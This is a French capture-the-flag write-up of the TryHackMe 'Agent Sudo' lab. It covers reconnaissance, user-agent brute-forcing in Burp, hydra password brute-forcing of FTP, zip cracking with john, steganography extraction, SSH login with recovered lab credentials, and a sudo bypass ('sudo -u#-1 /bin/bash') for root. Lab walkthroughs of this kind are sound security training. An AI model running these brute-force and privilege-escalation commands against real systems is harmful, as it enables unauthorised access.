> For the complete documentation index, see [llms.txt](https://olb.gitbook.io/thm-ctf-write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://olb.gitbook.io/thm-ctf-write-ups/agent-sudo.md).

# Agent Sudo

{% embed url="<https://tryhackme.com/room/agentsudoctf>" %}

Site Gitbook : <https://olb.gitbook.io/thm-ctf-write-ups/agent-sudo>

## Reconnaissance

{% code title="création répertoire de travail" %}

```
mkdir agentsudo && cd agentsudo
```

{% endcode %}

{% code title="IP de la cible" %}

```
export IP=10.10.142.227
```

{% endcode %}

```
nmap -sC -sV -oN nmap-report.txt $IP
```

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FQHWScLhouU4PGsWGzSeD%2Fimage.png?alt=media&amp;token=865e9e3b-280b-40ad-8e79-f9553b21b89a" alt=""><figcaption></figcaption></figure>

* un serveur FTP (21)
* un serveur openssh (22)
* un site web (80) sous Apache

### Exploration du site Web&#x20;

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FOmPCTlZvOYX7e9vwxJR9%2Fimage.png?alt=media&amp;token=87431fe3-b67d-4b5c-affa-1ca3f201f39f" alt=""><figcaption></figcaption></figure>

* le **user-agent** permet d'accéder au site
* le user-agent doit contenir le 'codename'
* **Agent R : '**&#x52;' est un codename ? => à tester !
* code source de la page : RAS

#### Directory Brute-force&#x20;

{% code overflow="wrap" %}

```
gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
```

{% endcode %}

* le Directory BruteForce ne donne rien d'intéressant ...

### Burpsuite

* Utilisons Burpsuite pour changer le user-agent
  * on intercepte <http://10.10.142.227/> dans le proxy
  * on envoie la requête dans le repeater
  * on teste dans le repeater cette histoire d'**agent R** à la place du user-agent habituel...

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FjwjvSxB4g82BHZIQt9VO%2Fimage.png?alt=media&amp;token=5fbc2f93-5f58-480c-b269-74d893227c1e" alt=""><figcaption></figcaption></figure>

* On tombe sur **la même page** mais cette fois on nous informe qu'il y a **25 employés** (agents ?)
* pas d'info dans le code source
* Testons d'autres user-agent en supposant que ce sont des lettres de l'Alphabet (25 + agent R = 26 Agents?)
  * on envoie la requête dans l'intruder pour brute-forcer le user-agent

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FjviORvBkdu2MnkmRkWMj%2Fimage.png?alt=media&amp;token=2a94610c-719b-4cd1-b9e3-6cf67ff828c9" alt=""><figcaption></figcaption></figure>

on se fait un payload rapidement comme ceci:

```
echo {A..Z} | tr " " "\n" > alphabet.txt 
```

et on le charge dans Burp puis `start attack`

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FFt36mfd4PdCkSEbOXq8S%2Fimage.png?alt=media&amp;token=8b502bb7-89ab-4d24-a103-b7eaed38e0c8" alt=""><figcaption></figcaption></figure>

On note une redirection 302 pour le `user-agent C`

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FUcuf6ciDvZH4B6DEgGc2%2Fimage.png?alt=media&amp;token=9ea27be7-977f-480d-9565-70713164ce04" alt=""><figcaption></figcaption></figure>

:warning: Il y a une info à savoir : **Burp ne suit pas les redirections par défaut** !\
il va donc falloir rejouer la requête dans le repeater mais en autorisant la redirection 302 cette fois...

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FEWsyrTY3pzNohUqW80lx%2Fimage.png?alt=media&amp;token=edf11950-a703-4030-be71-882ce07eb334" alt=""><figcaption></figcaption></figure>

renvoyer la requête avec le `user-agent C` et cliquer sur le bouton `Follow redirection` qui apparaît.\
NB: on peut aussi modifier ce comportement dans les settings du repeater

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2Fxd0yWpec3QXdlCL4LwOg%2Fimage.png?alt=media&amp;token=25529b89-097f-4107-90b7-fcac165b4435" alt=""><figcaption></figcaption></figure>

Finalement, on est redirigé vers la page `/agent_C_attention.php` qui nous donne des infos:

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FfjIVL3B6Iz3p3gT9EbQp%2Fimage.png?alt=media&amp;token=8f640e69-0d2d-45e7-be45-22561ac64ec6" alt=""><figcaption></figcaption></figure>

* l'agent C = **chris** ?
* le mot de passe de l'agent C est faible
  * on a un user + un mdp facile à trouver => **Brute force !**

## **Exploitation**

### **Brute Force du FTP**

* moins de risque de Fail2ban avec le FTP on commence par là

```
hydra -l chris -P /usr/share/wordlists/rockyou.txt $IP ftp    
```

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FFX2LNartO4RKLI27r8hv%2Fimage.png?alt=media&amp;token=1b1184f8-11e9-4afe-ab86-105aa5f78fbb" alt=""><figcaption></figcaption></figure>

* le mdp de chris est **`crystal`**
* on se connecte avec **chris/crystal**

```
ftp -A chris@$IP
```

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2F1ckIuUfJXw34z9tZ55fS%2Fimage.png?alt=media&amp;token=befaeee4-25b1-40ee-8b51-f20e5b1a7d44" alt=""><figcaption></figcaption></figure>

{% code title="on récupère tous les fichier" %}

```
mget *
```

{% endcode %}

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FHYR9CGlg01YrS16MqxDQ%2Fimage.png?alt=media&amp;token=86faec27-959a-4098-bc42-114e58793733" alt=""><figcaption></figcaption></figure>

### Exploitation des Fichiers

* `cat To_agentJ.txt`

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FJlt1TdekC5t46EXsiRlt%2Fimage.png?alt=media&amp;token=556e5bc0-7f55-4ab7-baa0-d772f487608b" alt=""><figcaption></figcaption></figure>

* l'`Agent J` a une véritable photo dans son répertoire perso

* le **login/mdp** de l'`agent J`est a l'intérieur d'une fausse photo

* `binwalk cute-alien.jpg` : c'est bien une photo visiblement

* `binwalk cutie.png :` il y a un Zip caché dans l'image qui contient un fichier `To_agentR.txt`

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2F2grCZoSgFyrQDWNYiLfX%2Fimage.png?alt=media&amp;token=622597ba-c68f-4ee8-baf8-ffe3b485b0bd" alt=""><figcaption></figcaption></figure>

{% code title="extraction du zip" %}

```
binwalk -e cutie.png
```

{% endcode %}

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FGi8uo4rXND7hxVwr8nUi%2Fimage.png?alt=media&amp;token=1d10c31c-15f6-4290-8cc8-f8c149db9192" alt=""><figcaption></figcaption></figure>

```
cd _cutie.png.extracted && ls
```

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FBx8Nn9vgiSXMhNquJ1cU%2Fimage.png?alt=media&amp;token=0801d7f6-01ae-4895-b8c5-5b73a341ee98" alt=""><figcaption></figcaption></figure>

on a bien récupéré un fichier zip : `8702.zip`

{% code title="7zip car unzip échoue" %}

```
7z e 8702.zip
```

{% endcode %}

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FApd09NRF60LPjS2lq4Wv%2Fimage.png?alt=media&amp;token=18dff4c6-c2db-4734-8316-5bed72b823b8" alt=""><figcaption></figcaption></figure>

* dezippage impossible car le zip est  protégé par mot de passe

```
zip2john 8702.zip > 8702.hash
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt 8702.hash
```

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2F6aHkdI7MiOEcCIsQMgeY%2Fimage.png?alt=media&amp;token=df0752d4-f43d-406b-b428-d5d5d9617ec7" alt=""><figcaption></figcaption></figure>

* le mdp du zip est `alien` donc on dezip avec 7z à nouveau et on peut enfin lire le message `To_agentR.txt`

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FKi0LPx0fpXMgaTLwWGwB%2Fimage.png?alt=media&amp;token=6e5268c3-94aa-4072-9b9c-470b6cd8e2e6" alt=""><figcaption></figcaption></figure>

* on a un code `QXJlYTUx` qui pourrait être un mot de passe ?
* on a une photo cute-alien.jpg qu'on a pas encore utilisé/exploité
* on sait qu'une photo contient le login/mdp de l'agent J => cute-alien.jpg ?

On regarde de plus près `cute-alien.jpg`

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FA6ZAi9ed8zuTd0haLfn6%2Fimage.png?alt=media&amp;token=b34cd190-0d45-45b0-a089-3745ee3a1970" alt=""><figcaption></figcaption></figure>

* visuellement : RAS
* `exiftool cute-alien.jpg` : RAS

```
steghide info cute-alien.jpg  
```

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FDrBsddRmYCDYsOsImGbl%2Fimage.png?alt=media&amp;token=08e59e4c-8670-4ad6-82d1-2b393787d698" alt=""><figcaption></figcaption></figure>

* c'est louche il demande une passphrase ! Essayons d'extraire avec `steghide extract`

```
steghide extract -sf cute-alien.jpg 
```

* Il faut une bien une passphrase
* une passphrase vide ne fonctionne pas
* la passphrase `QXJlYTUx` ne fonctionne pas non plus ... bloqué :(
  * je tente 'hash-identifier' sur la chaîne  mais il ne connaît pas ce hash...
  * qu'en dit ChatGPT ?

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2Ftq81xtHRSR958EUSNWD9%2Fimage.png?alt=media&amp;token=204243c0-edd5-4deb-a179-93aea47965e5" alt=""><figcaption></figcaption></figure>

Pour info pour décoder "soi-même":

```
echo 'QXJlYTUx' | base64 -d
```

&#x20;\
on retente steghide avec ce mdp 'Area51'

```
steghide extract -sf cute-alien.jpg 
```

Et voila ! on obtient un fichier `message.txt`

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FLKjFO6EenKAyqzV4Of3L%2Fimage.png?alt=media&amp;token=2a1c9c21-d093-4709-b52f-739e2e8075a9" alt=""><figcaption></figcaption></figure>

```
cat message.txt
```

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FQy9fXlvVW3LfUU3kmgsS%2Fimage.png?alt=media&amp;token=edc29c03-3cf9-4909-9f14-d75db0549148" alt=""><figcaption></figcaption></figure>

* l'agent J s'appelle **`james`**
* son mdp est **`hackerrules!`**

### **Exploitation SSH**

```
ssh james@$IP
```

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FbKgdxlAYVfyaPHwEBT8s%2Fimage.png?alt=media&amp;token=02477ea0-9c97-4935-8c57-ccd45f96baf6" alt=""><figcaption></figcaption></figure>

on se connecte avec le mdp trouvé précédemment

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2Ffh1VJVmWIKgk55p74jgT%2Fimage.png?alt=media&amp;token=43ecb1c3-41df-40ce-b34c-b5715e9bbedf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FDBZyN96tPCSw8uPWDQOU%2Fimage.png?alt=media&amp;token=1fcc2564-4c8a-4d75-8d91-566ca753d878" alt=""><figcaption></figcaption></figure>

* on récupère le flag de james&#x20;
* on récupère via scp la 'vraie' photo de l'alien `Alien_autospy.jpg`
* il y a une recherche Google a faire sur cette photo via Google Image +source  Foxnews pour trouver le terme!:  `"Roswell alien autopsy"`

## Escalade des privilèges

```
sudo -l
```

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2F3K5Jy91Zufxcm6fZUjSx%2Fimage.png?alt=media&amp;token=e4a876c0-fed0-42c1-bdb4-3e26f7a499a6" alt=""><figcaption></figcaption></figure>

En cherchant sur Google la permission&#x20;

```py
(ALL, !root) /bin/bash
```

&#x20;on tombe sur cet exploit\
<https://www.exploit-db.com/exploits/47502>

et on comprends en le lisant qu'on va pouvoir exécuter bash en root en contournant la règle en place avec ce simple code

```
sudo -u#-1 /bin/bash
```

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2FcKKAPF9voW7d98HbAR4j%2Fimage.png?alt=media&amp;token=6a32099c-2b50-4232-a7d2-acafd8283171" alt=""><figcaption></figcaption></figure>

<figure><img src="https://100368042-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9atCPHvlQFB0GlCVKzJB%2Fuploads%2Fd7tHUTf4v8b9z9X6QHE4%2Fimage.png?alt=media&amp;token=741daf5e-e588-4c13-89be-dc0cb8b29c4e" alt=""><figcaption></figcaption></figure>

et voilà :v:
